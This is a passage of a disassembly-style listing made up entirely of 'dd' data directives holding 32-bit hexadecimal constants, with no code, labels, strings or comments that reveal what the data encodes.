		dd 349674A6h, 0F287FA0Ah, 0CDB2003Ch, 30ED6BB4h, 0EE014AACh
		dd 0A34C4D49h, 9C40A2F8h, 512EB12Ch, 646C0CF0h,	7F818880h
		dd 0F7EEA042h, 0B6BC1700h, 14C70C2Fh, 990A269Fh, 4A581D3Ch
		dd 40D4E8F9h, 0A431C8D0h, 0B4C95C4Bh, 85219D6h,	1D660046h
		dd 2A09692Ch, 62007291h, 0BE17871Fh, 3AAFE8B6h,	0A4CC6EA5h
		dd 0DB28FB22h, 1097505Eh, 7921B9A0h, 48D6006Fh,	1FAE0982h
		dd 0C70B5113h, 2BAD53DAh, 59D8E1ACh, 2E211473h,	80968589h
		dd 3C0D9F50h, 97250736h, 86011AA0h, 58F05CEFh, 10C5E470h
		dd 14008729h, 0CDAD7FB6h, 3F2E15B7h, 8C4284D2h,	31C9F882h
		dd 0E340245Eh, 58D05Dh,	0CD14B30h, 0E7146CFBh, 40005BEAh
		dd 639335A8h, 98E33001h, 6296168Ch, 971830ECh, 0B903341Fh
		dd 1C8FD34Bh, 92F0CF47h, 2465445h, 4DE1308Ah, 609B58h
		dd 6777A9FAh, 0E0A208D2h, 5F98BC00h, 0A1F6DF69h, 4AEDEC00h
		dd 42EB4B5Eh, 2D051347h, 0D40CC8BCh, 12A8CD5Ch,	0FCF344B7h
		dd 99411322h, 0D3805068h, 88CD2519h, 26241A16h,	36B0888h
		dd 41EC9273h, 918AE8FAh, 0C57A9785h, 8374A23Ch,	0C0C37D67h
		dd 5435492Ah, 6E2417h, 82A157D3h, 9006091Ah, 7A425801h
		dd 827DB81h, 0DF224023h, 0C81152h, 0A30A2DBCh, 9F2B480h
		dd 0FE7B8531h, 2E213C58h, 0D811A0h, 266B4190h, 7E372B1h
		dd 4675791Eh, 0A6E8702h, 16AB0E80h, 0E43B5125h,	0F6522E7Ch
		dd 62520194h, 493E8EF9h, 4FE5C464h, 19102033h, 3D3DC25Dh
		dd 1209F526h, 993431h, 73876993h, 3BCD0576h, 13B73E42h
		dd 8F1044F0h, 0CAAE065Fh, 18615910h, 10DAA589h,	0A6419445h
		dd 7421304Ah, 9803D862h, 7252B758h, 1FD6A003h, 91CB156Ch
		dd 6FF1A44Eh, 0D01E2992h, 0CBF73DD8h, 7C002CF4h, 0F2123BF8h
		dd 2ADAEEh, 0D018F6E9h,	9D0B84B3h, 4A4879F3h, 2154088h
		dd 518A5C87h, 20404496h, 990065D4h, 308B4E90h, 0F4295B97h
		dd 8A6F0081h, 25CAFB93h, 0AF447CF4h, 1412484Dh,	82571F80h
		dd 0D80FA574h, 2760F231h, 9C805099h, 3427E853h,	0D8C84DB7h
		dd 2F059BC8h, 208A30B4h, 0F3D690C0h, 93BB1661h,	2E30C827h
		dd 19F03830h, 6B05FFDBh, 189080ABh, 580095C6h, 3427D03Ah
		dd 0E9E824h, 0AEF31F94h, 0D7901299h, 4C9CF200h,	22E0DD8h
		dd 1805085Eh, 0DB04DEBEh, 548C0750h, 0D04484D8h, 702E069Ch
		dd 905D0864h, 48B39E00h, 26D950DFh, 0AC7126C8h,	21510678h
		dd 0E8901125h, 0DA299162h, 10EC5196h, 49C8805Eh, 25F5B5ACh
		dd 98CCF181h, 9814909Fh, 0A16B0054h, 0FC514487h, 23FAF435h
		dd 0AEAE503h, 0F4B8A22Dh, 0F2140444h, 0CD2E001Ch, 0ACBB2AFDh
		dd 4AE43F2Dh, 92B55D80h
		dd 0C0247D46h, 8EE22E2Ch, 19AB6403h, 0F3AD80D2h, 0A65E2729h
		dd 1C0064E6h, 4DB1A594h, 3AC01D3Ch, 0B9894BF7h,	0E0935049h
		dd 0B2FD8698h, 1F538E12h, 94303C16h, 58583412h,	0E812CFCEh
		dd 0F04842CAh, 0F4C202C7h, 4445C44h, 1A1E0716h,	0A1D29584h
		dd 0E0AB7219h, 8600E526h, 0D722872Ah, 145ED8C3h, 88D6640h
		dd 94A01609h, 0C007071h, 0D9EF6567h, 0EEC31671h, 31EC607Bh
		dd 10961B05h, 0C113E88Eh, 0B7C4C16Bh, 4BD526C0h, 452C986Fh
		dd 81BB393Dh, 0A9E6BC49h, 0A02A7726h, 2F009FB2h, 5652996Bh
		dd 0FE9B08D1h, 0C5B5F0DAh, 30309C61h, 0F7E70BFCh, 0C597DA1Bh
		dd 20DE9A21h, 0B029785Eh, 4387FA00h, 0FDE18A3Fh, 30E762E6h
		dd 60E0A97Fh, 945A38A6h, 8113D01Fh, 2A4DB090h, 14C500A9h
		dd 0CB974B50h, 1024F145h, 9C78E409h, 0CD12E936h, 200645Bh
		dd 0F5B72E7Ah, 0C9E11726h, 38540003h, 0CD0E61CEh, 0A50C90B5h
		dd 5A68005Eh, 0DAD2AED3h, 0AC909DCBh, 0B57F44h,	0DFA030A5h
		dd 0B709E62Ch, 88C42D48h, 8A978Fh, 5190C4B4h, 0A212DDD9h
		dd 0A40074EBh, 0D3797B3Dh, 28C00CD0h, 50113A38h, 29DC2132h
		dd 826C76B6h, 0BC932368h, 0F0728540h, 78008E71h, 0CAEEBF7Ah
		dd 0C9219Bh, 2FB852ABh,	0A503FA91h, 1E2EBB00h, 81580911h
		dd 0CA0B0051h, 0AF1092EAh, 0C4B02D3Fh, 1F62B0B4h, 0A57C4817h
		dd 7C837C66h, 0F5C9BF6h, 2253359Ch, 262009BCh, 537E93h
		dd 291D0589h, 42D2E978h, 0A7BC0200h, 0EBEA9131h, 0D0D45223h
		dd 5FFD2E07h, 0F8AD1047h, 53028C4h, 2758115Ch, 2E02094Ch
		dd 0E060AECEh, 84BEEA0Eh, 0A2108259h, 9C00A4EFh, 42B33F83h
		dd 0FD47BCBBh, 20CC20h,	0D1982895h, 66D231C8h, 6009C0B8h
		dd 79C0A94Bh, 443E0054h, 0BFB4D28Ah, 0F2C90601h, 8277A205h
		dd 958CD60h, 0A00EDB55h, 0AA4420D8h, 0EB270902h, 6078C89Ah
		dd 2E672B00h, 0B7AC439Dh, 4874F618h, 0D024B817h, 0DC9809FAh
		dd 8053849h, 67C28880h,	82A8B100h, 7ADEDC39h, 51CA024Ah
		dd 775FDAC5h, 164B30D6h, 0E39D003Ch, 77B2BD06h,	0AE4DC180h
		dd 27C82004h, 0E06450DAh, 0D7F44503h, 0E0B7687Dh, 7CA881Dh
		dd 29D44AB4h, 0FB96A0B3h, 0B600D707h, 0F0D50BCh, 1AF1CBh
		dd 122AB4F6h, 0C68F67DFh, 36E21700h, 5E43CE96h,	0E9A50027h
		dd 0EA2D7CB8h, 5502FDDBh, 0A6E0C562h, 846CF930h, 2597D709h
		dd 0A4F8A0h, 3C79A5AFh,	9E3F6849h, 0B49A2104h, 6E870C66h
		dd 0C7A09640h, 312E00F9h, 0AF6AAE0Dh, 0B2E899B4h, 3540E49Eh
		dd 0B0E8E9h, 60DDAC3Eh,	396D6B8Ch, 4013D500h, 9358642Bh
		dd 0D85E001Fh, 0B0A23298h, 367A0A0Dh, 4980F49Ch, 5D2CB124h
		dd 0D94C4C13h, 84E4F227h, 8053D83Dh, 3DCF49D6h,	44EC61h
		dd 664F7772h, 0D232CD93h, 0C8B97825h, 17C874h, 0F0E88880h
		dd 0DF3EFE48h, 8025793Bh, 0FF53BA47h, 76906AC1h, 0EC7F00ACh
		dd 0CED23C65h, 0AF58F6B4h, 0A16300C8h, 6CAAA5FAh, 0CC11B78Dh
		dd 0A9E5CBA0h, 0B8C98908h, 79D278h, 0B6376348h,	9596E93Bh
		dd 0C040109Ch, 57C4F98h, 4EE0DF6Bh, 3C94A278h, 92643EFDh
		dd 4CA63012h, 892E6C58h, 5B16407Ch, 0CC96B963h,	9A707680h
		dd 85BEDCh, 44BCB1B5h, 6AFFA082h, 0B5B670h, 7AFB929Ch
		dd 0BC9C90AAh, 38A8BB3Ch, 0A4940E64h, 4643CFA8h, 0F4E50B16h
		dd 6D1398DCh, 81C0EB7h,	0E879037Eh, 0F8B2F5B6h,	57AEA5Eh
		dd 97B33244h, 2124B254h, 4441BD93h, 27808C90h, 63F90201h
		dd 0FC2F1D59h, 3D504441h, 6F38203Ah, 0A0A6B2F2h, 3B70C31Ch
		dd 24AEBF41h, 97D43249h, 373CA058h, 481A0B9Fh, 20E145B4h
		dd 8EB8815Bh, 0AB0982DBh, 59CC602Eh, 0C71CF3B2h, 2D80FD78h
		dd 20E244DCh, 50BE2C4h,	97B5324Bh, 6C30055Ah, 166C0E88h
		dd 0B0538B64h, 1F13C908h, 20C4E194h, 0F07E3000h, 0D9365Eh
		dd 1AC18EDCh, 7968E2D8h, 35770C02h, 0C416203Ch,	0F5A1A094h
		dd 79A600B4h, 3C60CF6h,	6B0048AEh, 3025DE83h, 0D691B5h
		dd 6DFDB1B7h, 28519D4Dh, 0DB3E2301h, 4490AECCh,	21F43C20h
		dd 5281BB58h, 0A38A33C3h, 9A4E90C3h, 17270459h,	0DC0226F3h
		dd 62EC2AF4h, 0FB328B0Eh, 0A55FE0ECh, 720EF98Ah, 2CF51F9Bh
		dd 0A389C04Dh, 5E9FBDDh, 31086416h, 0C95B60CAh,	0AF99ECECh
		dd 0F4124D29h, 769F4800h, 0BD1FB1E1h, 0B07AF027h, 32214225h
		dd 0C6456700h, 41D834EEh, 92EB7F55h, 647B4498h,	7050D5Ch
		dd 3666DE25h, 189068CBh, 0FCD524EBh, 882D139Ch,	1E003C34h
		dd 0CD365220h, 3556F8D5h, 2876EA58h, 0AC962924h, 7F1FC43h
		dd 0DF010F48h, 1C16F1F5h, 24542351h, 74296018h,	0C7010B00h
		dd 0A1648F5h, 9BD85111h, 48F11014h, 78286CC8h, 4498BCh
		dd 0F8F407CDh, 2E44A003h, 401D0D00h, 9710857Ch,	0AB3701A3h
		dd 0CFAA69C4h, 5244CB4h, 0B90490B3h, 94F0B061h,	0D4374C9Ch
		dd 0F883DA85h, 54FC8278h, 0D397E12Bh, 0EC047443h, 308020BCh
		dd 5193BF81h, 1A82C007h, 0CF05AC31h, 0A693DCB9h, 0A44D04ECh
		dd 0D0B21627h, 48208A01h, 0F038E267h, 0AC0EF483h, 2A4AD9Fh
		dd 62AA302Ch, 0DB0C84BCh, 5F813440h, 0D300A149h, 0E2C87DC9h
		dd 0BE3E677h, 0B98AFFA3h, 6E9B8490h, 87784900h,	52349C6Dh
		dd 0C4DF0082h, 4F47F98Fh, 5C293391h, 8A057CDBh,	8CCCCF21h
		dd 0BF140BEAh, 0AC8394CEh, 11DE122Fh, 466EDF09h, 0C9AC058Bh
		dd 0ACC78402h, 848DE0Dh, 8A01F156h, 2A343E27h, 5DE61CD8h
		dd 0AA8B5089h, 4107F8Bh, 8E4BB35Eh, 439E2C20h, 0B5A73941h
		dd 0B062D70Bh, 7A986082h, 0B7D2B618h, 0B8FD9438h, 0BE106E02h
		dd 0E1171A29h, 543B3080h, 0B500C4F8h, 12BEEEFCh, 9DFC178Ah
		dd 89623C30h, 9F2D05C8h, 5C0E8C94h, 6088087Ch, 4F2CC13h
		dd 2B680FB9h, 0C1002A18h, 321659E2h, 0B544B09Eh, 0BA8F00ACh
		dd 79AF5FC3h, 0DAB8CFF0h, 806C2658h, 16EA4396h,	984C50CEh
		dd 0A72096F3h, 0D30004C4h, 0F861D854h, 1F9A250h, 88A79DDEh
		dd 805A5199h, 0E0771510h, 83B1D0A9h, 780C2842h,	321C5A52h
		dd 22BDE83Eh, 12F5FDBh,	0B990BAFFh, 0B5CC49EEh,	0C714CC68h
		dd 0B68014D5h, 0CE285A65h, 52B83B60h, 8596CF9h,	0D5FD2F1Ch
		dd 3C098126h, 0A500549Ah, 8C017CE4h, 976DB57Fh,	0FCF441D4h
		dd 0F89B00C5h, 15671CDBh, 0C6252EC7h, 864C51DAh, 59DE329Ch
		dd 4F2D2612h, 0FA3FD405h, 4E16B809h, 7AF43E60h,	8404FB58h
		dd 82019852h, 54BE7240h, 14CB032Dh, 6010B734h, 0A008A40h
		dd 313F4E3Ch, 0B35FDD9h, 0D87FA495h, 9C4C3478h,	3AC6C0DCh
		dd 0AE9449h, 7EF11132h,	0D74226B4h, 5565F80Bh, 335CE14Eh
		dd 2FC0613Bh, 51DB11DAh, 0FEA1A47Ch, 7F006F16h,	0B8FF2F74h
		dd 38897260h, 1FD2D80h,	0D7A102C7h, 0DCC2B3B0h,	0A6001268h
		dd 27DABE96h, 4A9AE14h,	0F018AF66h, 0B6E4C8D5h,	2407DD5Ch
		dd 98244811h, 513CA10h,	5FA4301Ch, 98B974D3h, 3355DB0Eh
		dd 0E4B5F84Bh, 8E1C0724h, 0EF4BA642h, 70C96D7Fh, 0F86CF0E1h
		dd 0A72DBD1Eh, 6D7E9D02h, 6DCE150h, 9847A910h, 99858100h
		dd 0AF135B8h, 784DFE50h, 0B7760434h, 0B56CF84Eh, 203A84h
		dd 32BFC8Eh, 0A9839231h, 0AFE0FD42h, 0E3D7467h,	0CB2D7727h
		dd 1E066EEh, 0D2FDF4A9h, 0E052EADCh, 97001E84h,	79418B6Eh
		dd 7DA8A9D5h, 0D108A0ABh, 8CB348B8h, 0B726270Ah, 70AC0178h
		dd 0FAAB500Ch, 860060DEh, 51BBA747h, 6B4408D7h,	1F8D573Ch
		dd 0B420114Bh, 0DB29CBB9h
		dd 4D045451h, 894EE113h, 0BB932060h, 69072F34h,	38C13ADFh
		dd 834BB720h, 2EB10E80h, 0E9C0FDE0h, 654630B5h,	0D8A40D07h
		dd 7D50B608h, 1EC32F12h, 0C0DEF4C6h, 0B1EA4D4Fh, 50F8218h
		dd 0C02A7A07h, 0CA1A5C1h, 47D72DF9h, 1F002C64h,	0A77B9759h
		dd 9A0644h, 466CCD2Fh, 8E926636h, 1235E3Ah, 0A5AF8631h
		dd 602CC57Fh, 0D6B13080h, 9502BE33h, 3B37D2EEh,	402CD6F6h
		dd 0E2962DEh, 2D286158h, 1CCC6495h, 40CA9838h, 4F1B2476h
		dd 2FF45961h, 85DCF148h, 1801CE21h, 0FD29F0AEh,	2F25FC62h
		dd 0E72A819h, 0A3B55E20h, 0C4248BA4h, 0C89524ACh, 0B2920D8Eh
		dd 8002C804h, 97CD76D9h, 8B043956h, 0E9387C2Dh,	0A160081h
		dd 98541704h, 4D000E2Ch, 3179DA3Ch, 8A7D54A4h, 5CCC38C2h
		dd 0B80C571h, 1C919555h, 1C0009DFh, 0D7AC3Fh, 0EEB678Eh
		dd 60BEFF21h, 0E4AF372Dh, 176E3E38h, 69DCA500h,	571EAE20h
		dd 0EF629716h, 17542C91h, 70461112h, 64C45600h,	966DF87Fh
		dd 0DB290BA6h, 0F0DB1398h, 0AAC63F80h, 28D09EBEh, 12A511E6h
		dd 8012B7C0h, 0A64CFE24h, 9F0F287Bh, 705C37Ah, 87854017h
		dd 0A0970803h, 8B2901C4h, 0CA2C85Eh, 80EC7C31h,	323037FBh
		dd 92213DCDh, 872F01FFh, 2C4543E3h, 0E8207BD0h,	961F37E7h
		dd 0C1329D70h, 0A41A084Ch, 8276C836h, 0F761BE00h, 0B491D47Fh
		dd 1ED81A0Dh, 0C0C1317Bh, 510310A7h, 0D2260260h, 0CE5B6ECDh
		dd 308AF080h, 4000DF49h, 0B6B9D686h, 39992091h,	0C800B40Ch
		dd 0B79667ABh, 0C90159B2h, 9CA8D331h, 402F1230h, 4904E81Ch
		dd 600096E3h, 8FD0EB70h, 14D11218h, 0C8A45F0Ch,	0F5442AC2h
		dd 2704F0D9h, 3120C701h, 0F4073BACh, 0A44C9544h, 9B0868F9h
		dd 68E02Eh, 8D664F39h, 0FB133140h, 725A970Bh, 900B583Dh
		dd 0DA4B00C5h, 166EBB2Ch, 421E96DFh, 0E740EF50h, 69C4BD29h
		dd 5FB500E4h, 0C1F994A0h, 43F2F028h, 31A19C13h,	1645CCCh
		dd 701CBC66h, 6848C391h, 1408D35Ch, 0D45D81DAh,	3E196AC3h
		dd 0A3989A80h, 33EE628h, 0E9342081h, 401DCC07h,	95A07B65h
		dd 600760C4h, 0CCBEB35Ch, 0CFAC97F0h, 0AD5F1EA0h, 171FC08Ah
		dd 3CB96039h, 0FC12904Ah, 0E07400ACh, 0CF3302EDh, 0B730DA1Bh
		dd 31840859h, 4ACCC81h,	73B85424h, 0E4C740BCh, 3C8E2Ah
		dd 0FF9A3C4h, 851C2D58h, 5EF59C02h, 0E02A45C5h,	386CCC2Ch
		dd 0CF295A1Eh, 295006D8h, 0A50119CDh, 4D0483DAh, 683D51A4h
		dd 8845AB13h, 0EAD2BC0Ch, 0F08CD716h, 3CE595CDh, 0F4452A07h
		dd 0F90D76D0h, 4D1025D0h, 0ADA0B901h, 11F7F0F1h, 0CAB8209Dh
		dd 70BEEBAh, 12FCBE23h,	0C86CB7ACh, 0B5D6A987h,	48633872h
		dd 9CC83Ch, 628F67DDh, 32F9F869h, 0B07C6C90h, 0C0F4455Ch
		dd 9AA1F68Dh, 0B74A144Eh, 0CE0197D5h, 1E52EBF2h, 5901C07Dh
		dd 9E236003h, 0E0BEBA72h, 1C32A4Ch, 0A0B3EF3h, 208A90FFh
		dd 0E22F1634h, 432CCC36h, 5A84795Ch, 0E9103029h, 0AEFE8BD6h
		dd 39425782h, 0F0019459h, 0DAE11DABh, 8E6420h, 519ED705h
		dd 4C85D921h, 1F78F6F2h, 11D3DAEEh, 298F4C0Ch, 80A8BEB9h
		dd 21225A4h, 0F601339Fh, 0E781717Dh, 0DBD63AB2h, 0C91A0AD8h
		dd 2D0A9160h, 0D76CEA1Eh, 0C4F96EE0h, 429AAF00h, 5423F443h
		dd 29CE25B5h, 307894ECh, 8893B307h, 96DB2F7Bh, 0A4AF27CCh
		dd 109FB8C1h, 351FBDDh,	4EE54620h, 76C9C1FAh, 9D19C093h
		dd 10BD7BE4h, 4860EBB0h, 1702DE0Dh, 35379BBEh, 6A5B00DFh
		dd 2DB24CEh, 0DAE2D2C8h, 0D8F20497h, 5AF6803h, 9BBDE1Bh
		dd 80DAA8E8h, 3C10D051h, 6748CD82h, 0A3471874h,	20DBB622h
		dd 52F52044h, 0C9E8AB00h, 0A4020359h, 68A01421h, 747E281Fh
		dd 0A1CF07B2h, 0B0FF257Fh, 0E181B958h, 90904E95h, 0E024E9F7h
		dd 0F91A887Bh, 130EAB7Fh, 0AEEA2Fh, 0D750DC6Dh,	248A17A1h
		dd 0A0D82371h, 34EC1158h, 0BCCC29AFh, 9B990087h, 57953F56h
		dd 9A02225Fh, 507AEA31h, 0A8602EB6h, 8160AAB1h,	207DE000h
		dd 0F2F543D2h, 464401FDh, 150547AFh, 8A3180B0h,	92DDB7D6h
		dd 68AE61E1h, 70F90258h, 0AB120B98h, 0CD0B97Eh,	0D71861h
		dd 0CE730FBCh, 5E421A99h, 5FE9B914h, 490B03B0h,	0A96B066Ch
		dd 6470D5D7h, 8CDC00E4h, 1D516046h, 0EC3EB318h,	571C0307h
		dd 0E2B90562h, 0A89C433Dh, 60A81715h, 0DF5F062Ah, 6D0591B0h
		dd 7D190586h, 8B9404FCh, 0B7C8EB0Fh, 5EEA4140h,	0C21DCC03h
		dd 5DC028C7h, 2FCE40A4h, 0BE9F00D0h, 29EF5AE9h,	0FA00F884h
		dd 5E5F2D0Eh, 4F3E5989h, 8008C947h, 0A32335ACh,	156D87EFh
		dd 0EC371FBFh, 2F38224Ah, 166556C0h, 37286C4Ch,	8B7918D0h
		dd 0BF1C19B8h, 13A892E8h, 80BDDFh, 4247A48Bh, 35E20630h
		dd 0C91CEF4Ch, 0C0485C36h, 0B335462Ch, 3FF3A600h, 47EBF563h
		dd 4B1900A2h, 56E9D8AEh, 2912F116h, 0D412BF17h,	59248909h
		dd 0DF46034Ch, 110FD4E8h, 8231C658h, 0DCA6AE9Eh, 0B7CB62CCh
		dd 4495A850h, 0D244000Ch, 78E1C2B0h, 2A0E7038h,	406A79A8h
		dd 896546C5h, 4921A34h,	0D8DA50D2h, 4A25317Ch, 1050736Dh
		dd 0C7918B96h, 381810E4h, 85093DB5h, 2E8A8F2Bh,	705064B6h
		dd 3E880245h, 46C40ED0h, 380E8F1h, 6AE92F63h, 4F300033h
		dd 2E9C3E78h, 0B5F48114h, 1F28A095h, 2D7E8Fh, 0D084965Eh
		dd 0D7797537h, 703A5303h, 0E8F29DD1h, 592AA45Ch, 385BA0B7h
		dd 8E8152C4h, 4D27F033h, 7F94AE61h, 78C53038h, 3E767FFEh
		dd 0A4517539h, 13A9D848h, 28998193h, 0A6445824h, 2D052731h
		dd 2100B064h, 0CDB2E49Eh, 52A4677h, 8138BC91h, 4FA880E3h
		dd 0F702BE21h, 6EB5C8A9h, 0A0B0E312h, 12FFC695h, 0FF6658A8h
		dd 94318A0Ah, 59BDEB00h, 240690A5h, 8B4CF321h, 158BD681h
		dd 0E8052C44h, 8EFAAD26h, 0E9904CB0h, 4A9CE4F0h, 1854D227h
		dd 14E8B524h, 9B031622h, 0BEB0132Eh, 9050E24Eh,	0F6404A8h
		dd 585230ECh, 0AEAC5583h, 0D534100h, 9CE37821h,	37301751h
		dd 9BFC0809h, 83A31880h, 4C6F7CEAh, 0C3101067h,	0A0576D0h
		dd 6369ED8h, 0D1C954D3h, 253BDE2Eh, 800CE8C0h, 0C7DDD67h
		dd 640AF827h, 561A38C0h, 0C7BEC035h, 194B2001h,	6C1FB959h
		dd 0A140D656h, 5C51C87Dh, 20AF144Dh, 3F0B501Eh,	2B8067BDh
		dd 3BB72B62h, 5BCB6E16h, 611B100Dh, 0E000C007h,	0A49895DAh
		dd 0A1EB16FCh, 8E5030B7h, 76070F68h, 8612F527h,	7BA17570h
		dd 9CEE0060h, 5CAC4D2h,	9099BE1Ah, 471818A7h, 79280988h
		dd 98ABBE54h, 2602C071h, 10D1E849h, 0B01201C0h,	64F2AF36h
		dd 0CF1420Fh, 0E3AEE0C0h, 0C314ED3Bh, 130B0C7h,	0C6C4A6FBh
		dd 0DC277A73h, 7F81E23Ch, 0FE2851EBh, 6CB0F9CAh, 0CBC98038h
		dd 282FAFC5h, 5F8CF60Ah, 83BC91C2h, 80E4149Bh, 2D905AA6h
		dd 0E5944398h, 0F088394Bh, 4CC1006Ch, 8FF8D4EEh, 8901BB56h
		dd 687F23ABh, 303A72FDh, 0B1366778h, 700B8A6h, 0EFD4183Bh
		dd 3F0163F6h, 56826E64h, 361FC054h, 0AB2B4C81h,	986E7018h
		dd 388C90B7h, 121C3ED7h, 6C253600h, 8DA916A2h, 8B5E1476h
		dd 5EA6F888h, 8D44208Ah, 59002AF9h, 0BCAB5EFDh,	0A637B6B3h
		dd 35D81EE8h, 9B82822Ah, 0A0440689h, 1C818026h,	8C293751h
		dd 42C4C84Bh, 44EB1C00h, 0B6F91135h, 8D591E5Eh,	54D05EE1h
		dd 0FF84BC1Dh, 0E8CF5DAEh, 0C9696049h, 983790h,	99A29767h
		dd 0A4594F2Ah, 29510E00h, 1C785D2Bh, 36E127FFh,	0C100A470h
		dd 11AA6654h, 3289EDF5h
		dd 48972B9h, 541C05Eh, 64487D06h, 308A805Eh, 0FF6F9709h
		dd 0FD900762h, 127A2981h, 0B7018832h, 0BA23E955h, 0D67EC42Ah
		dd 11028125h, 0DC732158h, 38C79D00h, 2B686789h,	8A4DB612h
		dd 0F7803CECh, 0C05C918Bh, 0B0000BF8h, 767958C7h, 4BB228DFh
		dd 9AC0B430h, 0C048F348h, 8A959B88h, 4EB63ACAh,	6AFF310Ah
		dd 0B8DB1240h, 6B1CC8C0h, 599AF4E0h, 9B362Ch, 6CFCB544h
		dd 0F8B01A88h, 3D4DAFCh, 36968A68h, 0DC86E0Ah, 1E0EC65Eh
		dd 806BB55Fh, 4EC5EA63h, 0F54B0354h, 0FB42401Ah, 0C64C2680h
		dd 103D3307h, 81A5DB27h, 0F3A57CB8h, 44582D48h,	0C5C40088h
		dd 0ED6A0C18h, 67719EB9h, 0A8E6B301h, 3B4343Dh,	0A0B7A092h
		dd 0DE8AB144h, 0DB3B80C8h, 5190CAD4h, 0C0C33800h, 6F4E53E2h
		dd 64D4989Fh, 0BCDB314Ch, 0DF2A80D0h, 0B8FE9532h, 79DA2D0Ch
		dd 48C48018h, 0A73B7F3Fh, 4434CCC9h, 0F33DA008h, 77250042h
		dd 28D86FD3h, 0FBBD07CDh, 9027A726h, 0A6D72AFAh, 16223498h
		dd 94FF211Ah, 5BA5901h,	216F086Ch, 12AEB788h, 756E2095h
		dd 4F5F8471h, 0E52E700Bh, 0EE9700E4h, 74234686h, 0B5BBC100h
		dd 73DB0395h, 0E0260290h, 6EDC4CFFh, 0C40838FEh, 0FEC99CD0h
		dd 1160B1F4h, 20E24AFCh, 0EC320075h, 8DEF27D5h,	0F2006A0Dh
		dd 4D431E21h, 1C2DDB3Fh, 963852A2h, 17A80840h, 0D4030485h
		dd 0D427BC22h, 88995044h, 95173Ah, 0A4910408h, 726E4E3h
		dd 282AA762h, 0E8AB1FF0h, 33AC6431h, 18E34E1Ch,	9EC58201h
		dd 0E8B793EBh, 9913DB18h, 54E7AB51h, 0FCE9C42Dh, 342A10A5h
		dd 0DCF8486Eh, 610D3518h, 22EF48C9h, 38883A34h,	37017827h
		dd 0C1A253B6h, 8C709EB3h, 0C9BD12E7h, 0CB10FC99h, 54301101h
		dd 19801462h, 0BF6CA4BBh, 61F54E00h, 4970DD4Fh,	5CCE70C1h
		dd 0EB00A82Ah, 6431ABF8h, 0D4F21D51h, 2E48C200h, 4A7F8B0Ch
		dd 97230F9Bh, 8D00D6E1h, 7B29A304h, 0E38C5300h,	51A44C6Eh
		dd 91089973h, 201127ACh, 728CF980h, 79100057h, 0FB191B2h
		dd 9600B907h, 0F0048FCBh, 0B54DB0CFh, 6B5A7422h, 0AF9E1E22h
		dd 0CE0C40BCh, 0D63234h, 4D134A85h, 7A267DDCh, 170E9D09h
		dd 784FA46h, 0F17283C8h, 58828962h, 14570659h, 0B4E49560h
		dd 907CACF2h, 0C90A5C7Ch, 187527DAh, 0F0BC1B13h, 531CDFA0h
		dd 79EC2300h, 0E8BD6BD6h, 0BA7F0035h, 30A71DD1h, 144E49F9h
		dd 4B4BC88h, 833E8716h,	0D6F17085h, 9BFB0039h, 0C0B148A3h
		dd 93029F29h, 0FF5011A6h, 469862C5h, 0BB5300F8h, 0D082323Dh
		dd 0C102D850h, 4E672C7Fh, 0FA471F0h, 0E56F3ACEh, 39B0AC00h
		dd 129DE2DBh, 81C8C1F4h, 2FF44D10h, 8286343Dh, 0BF439733h
		dd 1180D45Ch, 20501EE1h, 5BFD8D03h, 0D85181AEh,	541155C7h
		dd 8E005C72h, 0F26D0C43h, 0E74B5531h, 0BC0E45E0h, 0C8AE11FCh
		dd 0CE5800Ah, 44BF06FDh, 0C6BD312Dh, 0C45F00B8h, 0C172A501h
		dd 0CF446748h, 8D900029h, 17315F4Ah, 0B85030CBh, 0A63FB008h
		dd 6AB9224h, 9006CA6h, 0F1630789h, 551EC328h, 198E0640h
		dd 0B7CE0BFh, 3F339Bh, 61B5D6A6h, 0DEA7C09Ch, 80F9593Ch
		dd 983B86FCh, 41463EFh,	9CBF4E90h, 8088F22Ah, 0BAB62250h
		dd 361000Bh, 0C0E8D35Dh, 90B57CEEh, 1F8B5198h, 533953B1h
		dd 0A3680013h, 0FA46D333h, 2CB93F00h, 3A50B67Dh, 0AFC3276Dh
		dd 0FD00D0D1h, 9AB799ECh, 51C83955h, 0F7E2A600h, 80C6FB5Dh
		dd 6E609097h, 446C008Eh, 0E799A624h, 0BF393D4Dh, 1EB080FDh
		dd 0C2E866D0h, 4C4CC32Bh, 67BF7A42h, 6CF94015h,	0FD2C2488h
		dd 0B50F2DC9h, 0A534C0B1h, 403C50E3h, 6E0072B9h, 0A396DC05h
		dd 1DB46877h, 25C1D26Fh, 4E00E071h, 0C8A99507h,	0E9FF0FEAh
		dd 813EC471h, 182D7744h, 24712E6Dh, 223B2450h, 895FC7D0h
		dd 59C88908h, 75FC0008h, 0D02C6601h, 1B2DB500h,	0F2905FC1h
		dd 5057029Bh, 16E0589Ch, 19094459h, 6DF4E886h, 177FC08h
		dd 58FF29EBh, 0D8A73B81h, 2CB060B7h, 0F0B51481h, 5274FCF5h
		dd 1D902A05h, 0E8048A56h, 0AD12B758h, 0A5E38054h, 0F4B8B62h
		dd 16D0E9D9h, 81DF8A04h, 40FCD220h, 8B61110Ch, 68272404h
		dd 3EE30FEh, 0CFFF2F44h, 0B8DE9CBAh, 0A086F44h,	3940C427h
		dd 1C0BAECFh, 1A5E7CF8h, 0D6F5B001h, 0EDFC3E05h, 0B61112F7h
		dd 80F4ECE9h, 3FA7BF7Bh, 0ADE000C3h, 58366081h,	4E12D594h
		dd 8CACD9C0h, 0AC131822h, 0F4901347h, 71D77555h, 64F400CFh
		dd 45AE9249h, 6C90A65Fh, 4490801Eh, 0B8C08A18h,	179F4330h
		dd 18A4B5A0h, 0BF6A7459h, 89D9D890h, 0A4A95A00h, 0C183745Ch
		dd 809600FDh, 23AFF35Dh, 0D4967CE9h, 662BC840h,	17D6030Fh
		dd 0C51978A5h, 0AA9Dh, 96675B97h, 8A3C01BDh, 0AA9186B9h
		dd 80A47CCAh, 80448870h, 2F933B4Ch, 0D8EE1809h,	5825D87Eh
		dd 8AC64404h, 44B02C03h, 98B73402h, 9F07036h, 81DABD06h
		dd 9D022C71h, 5D227C89h, 9C631090h, 3C665600h, 0DE553A95h
		dd 98EC07A5h, 70A38517h, 88EA4EEDh, 690419Dh, 7C3C16C5h
		dd 0D02CC25Fh, 0A698DA23h, 25EDE0B9h, 280BA030h, 29007465h
		dd 0FA06FF58h, 39E21C8Ah, 371040E4h, 1590879Eh,	0E8406B7Eh
		dd 0EBCB0905h, 44A4A9EAh, 82B040A5h, 419924h, 3255FE1Ch
		dd 0BCF3472Bh, 8AB2BB00h, 4F2C86A4h, 95DE2E93h,	0D2A09358h
